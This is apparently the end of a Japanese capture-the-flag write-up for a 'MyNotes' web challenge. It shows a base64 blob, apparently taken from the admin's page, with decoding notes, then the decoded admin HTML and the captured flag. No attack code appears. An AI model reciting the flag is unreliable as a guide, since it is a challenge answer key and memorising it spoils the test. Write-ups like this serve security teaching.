CgkJCTxwPglmbGFne2NoNDFuX3RIeV8zWHBsb2l0c190MF93MW59IDwvcD4KCQkJPGJyPgoJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iL3VwZGF0ZV9ub3RlcyI CgkJCQk8dGV4dGFyZWEgY2xhc3M9InRleHRhcmVhIiBuYW1lPSJub3RlcyIgcGxhY2Vob2xkZXI9IldyaXRlIHNvbWV0aGluZyBoZXJlIj48L3RleHRhcmVhPgoJCQkJPGlucHV0IGNsYXNzPSJidXR0b24gaXMtZnVsbHdpZHRoIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGRhdGUiIG5hbWU9IiI CgkJCTwvZm9ybT4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KCgo8Zm9vdGVyIGNsYXNzPSJmb290ZXIiPgogIDxkaXYgY2xhc3M9ImNvbnRlbnQgaGFzLXRleHQtY2VudGVyZWQiPgogICAgPHA CiAgICAgIDxzdHJvbmc TXlOb3Rlczwvc3Ryb25nPiBieSBuMG9iLgogICAgPC9wPgogIDwvZGl2Pgo8L2Zvb3Rlcj4KCg==

BASE64デコードする。+がスペースになっているため戻しておく必要がある。

       
<div class="hero is-fullheight is-centered is-vcentered is-primary">
    <div class="hero-head">
        <nav class="navbar">
            <div class="container">
                <div class="navbar-brand">
                    <a href="/" class="navbar-item">
                        MyNotes
                    </a>
                </div>
                <div class="navbar-menu">
                    <div class="navbar-end">
                        <span class="navbar-item">
                            <a href="/logout" class="button is-primary is-inverted">
                                <span>Logout</span>
                            </a>
                        </span>
                    </div>
                </div>
            </div>
        </nav>
    </div>
    <div class="hero-body columns is-centered has-text-centered">
        <div class="column is-4">
            <div class="title">
                Howdy admin!
            </div>
            <!-- so that user can write html -->
            <p>   flag{ch41n_tHy_3Xploits_t0_w1n} </p>
            <br>
            <form method="post" action="/update_notes">
                <textarea class="textarea" name="notes" placeholder="Write something here"></textarea>
                <input class="button is-fullwidth" type="submit" value="Update" name="">
            </form>
        </div>
    </div>
</div>


<footer class="footer">
  <div class="content has-text-centered">
    <p>
      <strong>MyNotes</strong> by n0ob.
    </p>
  </div>
</footer>

フラグゲット。

flag{ch41n_tHy_3Xploits_t0_w1n}